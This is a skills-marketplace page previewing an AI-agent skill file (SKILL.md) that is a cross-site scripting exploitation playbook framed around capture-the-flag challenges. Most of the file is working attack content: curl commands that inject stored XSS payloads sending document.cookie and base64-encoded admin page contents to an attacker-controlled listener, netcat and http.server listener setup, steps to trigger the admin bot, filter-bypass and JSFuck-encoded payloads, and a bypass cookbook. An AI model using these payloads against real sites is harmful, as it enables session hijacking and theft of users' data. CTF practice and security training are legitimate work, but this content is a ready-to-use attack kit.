Skip to main content

xss

Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 26, 2026 at 03:12
Detected SKILL.md language
English
Stars
5,666
Forks
1,067

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
xss
description
Cross-Site Scripting (XSS) — reflected, stored, DOM-based XSS exploitation. Covers filter bypass, CSP evasion, bot-triggered cookie exfiltration, admin page scraping, and headless browser flag extraction. Use for any challenge involving client-side JavaScript injection, Cross payloads, cookie theft, or browser-based exploitation.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"xss, cross-site scripting, reflected xss, stored xss, dom xss, javascript injection, cookie steal, script injection, Cross, cross site, alert, onerror, onload, img src, svg onload, bot visit, report url, admin cookie, session hijack, csp bypass, html injection","tags":"web-application, xss, injection, client-side, cross-site-scripting","mitre_attack":"T1189, T1059.007"}
# Cross-Site Scripting (XSS) Exploitation Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context. ## Win Condition — Identify FIRST **Pattern A — Bot/Cookie Chain** (classic CTF): - A headless browser bot visits a URL you supply via `/report` or `/contact` - Goal: exfiltrate `document.cookie` or admin page content to your listener - Signals: `/report` endpoint exists, challenge mentions "admin visits", cookie in session **Pattern B — Server-Side Alert Trigger** (Cross 30/31/32 series): - NO bot, NO cookie exfiltration, NO `/report` endpoint (returns 404) - The challenge evaluates reflected JS server-side; `alert("XSS")` or `alert(1)` in the response = flag - Flag appears directly in the HTTP response body when alert triggers - Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag", `new_umbrella` / `error_umbrella` in response, alphanumeric filter active - Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError) **Quick check which pattern:** ```bash curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross) curl -s "$TARGET/" | grep -i "report\|bot\|admin" # Pattern A signals ``` ## Detection ```bash # Reflected XSS probe — check if input is reflected unescaped curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)' # Check for reflection in different contexts curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test' # attribute context curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test" # JS string context # Test attribute injection curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover' # Test common input fields via POST curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>' curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test' ``` ## Stored XSS with Bot Exfiltration (CTF Pattern) The standard CTF XSS workflow: 1. Find a stored input (comments, profiles, messages) 2. Inject a payload that exfiltrates data when the admin bot views it 3. Trigger the bot (usually a `/report` endpoint) 4. Receive exfiltrated flag on your listener ```bash # 1. Start a listener to receive exfiltrated data python3 -m http.server 8888 & # Or use netcat: nc -lvnp 8888 & # 2. Inject stored XSS that exfiltrates cookies # Basic cookie steal curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>' # Image tag (bypasses many filters that block <script>) curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">' # SVG-based curl -s 'http://<TARGET>/comment' -d 'body=<svg onload="fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)">' # Fetch admin page content and exfiltrate curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/admin").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?d="+btoa(t)))</script>' # Fetch sensitive endpoint directly (adjust path to observed app structure) curl -s 'http://<TARGET>/comment' -d 'body=<script>fetch("/api/secret").then(r=>r.text()).then(t=>fetch("http://<ATTACKER>:8888/?f="+btoa(t)))</script>' # 3. Trigger the bot to visit the page with injected XSS curl -s 'http://<TARGET>/report' -d 'url=http://<TARGET>/page-with-stored-xss' curl -s 'http://<TARGET>/report' -d 'url=/page-with-stored-xss' # 4. Check listener output — decode base64 if used echo '<base64_response>' | base64 -d ``` ## Reflected XSS Flag Extraction ```bash # If the flag is in the admin's cookie and there's a report/visit endpoint: # Craft URL with reflected XSS that steals cookies PAYLOAD='<script>fetch("http://<ATTACKER>:8888/?c="+document.cookie)</script>' ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))") curl -s "http://<TARGET>/report" -d "url=http://<TARGET>/search?q=$ENCODED" ``` ## Filter Bypass Techniques ```bash # Case variation <ScRiPt>alert(1)</ScRiPt> <IMG SRC=x OnErRoR=alert(1)> # No parentheses <img src=x onerror="alert`1`"> <img src=x onerror="window['alert'](1)"> # No quotes / no spaces <img/src=x/onerror=alert(1)> <svg/onload=alert(1)> # HTML entity encoding bypass <img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)"> # JavaScript URL scheme <a href="javascript:alert(1)">click</a> <iframe src="javascript:alert(1)"> # Event handlers (bypass <script> tag blocks) <body onload=alert(1)> <input onfocus=alert(1) autofocus> <marquee onstart=alert(1)> <details open ontoggle=alert(1)> <svg onload=alert(1)> # Template literal + fetch (modern, avoids quotes) <img src=x onerror=fetch(`http://<ATTACKER>:8888/?c=${document.cookie}`)> # Double encoding (if server decodes twice) %253Cscript%253Ealert(1)%253C/script%253E # If angle brackets blocked — inject into existing JS context ';alert(1);// "-alert(1)-" ``` ## XSS to Flag — Complete CTF Workflow 1. **Identify injection point** — test all inputs for unescaped reflection 2. **Determine context** — HTML body, attribute, JS string, URL? 3. **Craft payload for context** — use appropriate escape/injection 4. **Check for bot/report endpoint** — `/report`, `/admin/visit`, `/contact` 5. **Set up exfil listener** — `python3 -m http.server` or `nc -lvnp` 6. **Inject + trigger bot** — store payload, then report URL to bot 7. **Check listener** — decode response, extract flag 8. **Common flag locations** — admin cookies, `/admin` page, `/.env` endpoint, DOM elements ## Cross-Series Budget Cap (MANDATORY for Cross N challenges) When the challenge name is "Cross N" (e.g., Cross 11, Cross 24) and Pattern B is confirmed (no `/report`, filter active): **Hard convergence rule — maximum 5 filter bypass attempts before JSFuck:** 1. Try 3 event-handler variants (`<input onfocus=alert("XSS") autofocus>`, `<details open ontoggle=alert("XSS")>`, `<svg/onload=alert("XSS")>`) 2. Try 1 JSFuck encode (`JSFuck.encode('alert("XSS")', false, true)`) 3. Try 1 partial-range bypass (z/Z char if angle-bracket filter suspected) If none trigger the flag in 5 attempts: the filter is unusual. Do NOT iterate more payload variants manually — this consumes the context budget. Instead write `exploit/CONVERGED.md` with what was tried, then return to orchestrator with "Filter not bypassed in 5 attempts — needs specialist analysis". **Anti-pattern**: Iterating 20+ curl variants of payload mutations (changing event handler names, encoding methods, etc.) with zero flag response. Each iteration is one context turn — 20 iterations = 20 turns = context exhausted = timeout. Stop at 5. ## JSFuck — Alphanumeric Filter Bypass Use when: alphanumeric chars are blocked but `[]()!+` pass through (Pattern B / Cross series). ```bash # Install jsfuck locally (node is pre-installed in sandbox) npm install jsfuck 2>/dev/null # Encode with runInParentScope=true (uses eval, avoids Function constructor) node -e " const {JSFuck} = require('./node_modules/jsfuck/jsfuck.js'); const payload = JSFuck.encode('alert(\"XSS\")', false, true); console.log(payload); " > /tmp/payload.txt # Verify payload has zero alphanumeric chars node -e "const p=require('fs').readFileSync('/tmp/payload.txt','utf8').trim(); console.log('len:',p.length,'alnum:',p.replace(/[^a-zA-Z0-9]/g,'').length)" # Submit via curl, grep for flag in response PAYLOAD=$(cat /tmp/payload.txt) curl -sg "$TARGET/page?name=${PAYLOAD}" | grep -i "flag\|new_umbrella\|alert" ``` **Function-constructor TypeError fallback:** If server returns `TypeError: Attempting to change the setter of an unconfigurable property`, the JS sandbox blocks Function constructor access. This is a known JSFuck failure mode in strict-mode / hardened sandboxes. Fix: use `runInParentScope=true` (third argument) — switches from Function constructor to `eval()` injection: ```bash # Default (broken in strict sandboxes): JSFuck.encode(str, false, false) <- Function constructor # Fixed: JSFuck.encode(str, false, true) <- eval injection node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); console.log(JSFuck.encode('alert(1)',false,true))" ``` If `runInParentScope=true` still fails, try raw eval wrapping: ```bash # Encode just the string 'alert("XSS")' then wrap in eval manually node -e "const {JSFuck}=require('./node_modules/jsfuck/jsfuck.js'); const s=JSFuck.encode('\"alert(\\\\\"XSS\\\\\")\"',false,true); console.log('eval('+s+')')" ``` ## Cross Challenge Pattern (No Bot / No Cookie) Win condition: server-side JS evaluator detects `alert()` call in reflected input. No `/report` endpoint. No bot. No listener needed. ```bash # Quick alphanumeric filter probe curl -sg "$TARGET/page?name=abc" | grep -i "error_umbrella\|sorry\|blocked" # blocked = filter active curl -sg "$TARGET/page?name=[]()!+" | grep -i "new_umbrella\|ok" # specials pass = JSFuck viable # Inject and check response — success indicator appears in HTTP 200 body when alert triggers curl -sg "$TARGET/page?name=$(cat /tmp/payload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')" | grep -i "new_umbrella\|success\|alert\|xss" ``` Do NOT waste time on: - `/report`, `/contact`, `/visit` endpoints (404 on Cross challenges) - `python3 -m http.server` listeners (no bot will callback) - `document.cookie` exfiltration (cookie setter is frozen — signals Pattern B environment) ## Partial-Range Tag Filter Bypass Some Cross challenges (e.g., filter-bypass example) use a regex like `<[a-yA-Y/]+` that blocks `<` followed by letters a–y / A–Y but excludes z/Z. Probe and bypass: ```bash # Probe whether tag-name first char escapes the filter curl -sg "$TARGET/page?name=<a>" | grep -i "sorry" # likely blocked (a in range) curl -sg "$TARGET/page?name=<z>" | grep -i "sorry" # not blocked = z escapes curl -sg "$TARGET/page?name=<Z>" | grep -i "sorry" # check uppercase Z curl -sg "$TARGET/page?name=< img>" | grep -i "sorry" # space after `<` may bypass # Once a non-blocked first-char is found, build payload with valid HTML tag. # PhantomJS treats unknown tag names as elements; event handlers still fire on # attribute parsing. Try (URL-encode with python3 urllib.parse.quote): # <Z onerror=alert("XSS") src=x> # <Zsvg onload=alert("XSS")> # If unknown tags don't fire events, use `<svg/onload=...>` style with the # regex-escaping prefix in front: e.g. some filters with `+` quantifier let # `<>` (zero letters) slip through followed by `<svg ...>` later in the same # attribute — test both placements. ``` Key insight: `re.findall` + `+` quantifier requires ≥1 matching char immediately after `<`. Any first character outside the class (digits, whitespace, `z`/`Z`, special chars) bypasses the regex entirely. ## Filter Bypass Cookbook When basic payloads are blocked, use this table to pivot to the next bypass class after ≤3 failures per class: | Filter blocks | Bypass class | Example payloads | |---|---|---| | `<script>` tag | Event handler on any element | `<svg onload=alert(1)>`, `<input autofocus onfocus=alert(1)>`, `<details open ontoggle=alert(1)>` | | `alert` keyword | Property access / obfuscation | `window['ale'+'rt'](1)`, `(()=>alert)()(1)`, `top[/al/.source+/ert/.source](1)` |
View on GitHub
This SKILL.md is very large, so SkillsMP previews the first section here. View on GitHub